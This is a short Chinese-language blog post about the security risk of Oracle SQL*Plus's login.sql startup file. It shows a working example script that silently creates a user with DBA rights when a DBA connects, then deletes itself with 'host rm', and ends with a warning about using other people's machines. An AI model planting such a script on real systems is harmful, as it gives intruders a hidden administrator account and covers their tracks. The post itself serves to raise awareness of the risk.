[20140221]login.sql與系統安全.txt

lfree發表於2014-02-21

[20140221]login.sql與系統安全.txt

--昨天幫別人解決問題,因為顯示的問題我需要調整linesize的設定.我發現我的改動不生效.
--仔細檢查才發現在本地目錄有一個login.sql.

--因為機器是別人的,我突然想到login.sql引起的安全問題.
--如果我在login.sql包含如下內容結果如下呢?

set feedback off
set termout off
create user test1 identified by test1;
grant dba to test1;
set feedback on
host rm ~/login.sql

--以一個dba使用者登入:

SCOTT@test> select username from dba_users where username='TEST1';
USERNAME
------------------------------
TEST1

1 row selected.

--退出.

$ ll login.sql
ls: login.sql: No such file or directory

$ sqlplus test1/test1
SQL*Plus: Release 11.2.0.3.0 Production on Fri Feb 21 10:12:51 2014
Copyright (c) 1982, 2011, Oracle.  All rights reserved.
Connected to:
Oracle Database 11g Enterprise Edition Release 11.2.0.3.0 - 64bit Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

--看來在提供的機器使用要注意這些細節問題.特別是使用別人的機器訪問自己的伺服器.

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/267265/viewspace-1085037/,如需轉載,請註明出處,否則將追究法律責任。

相關文章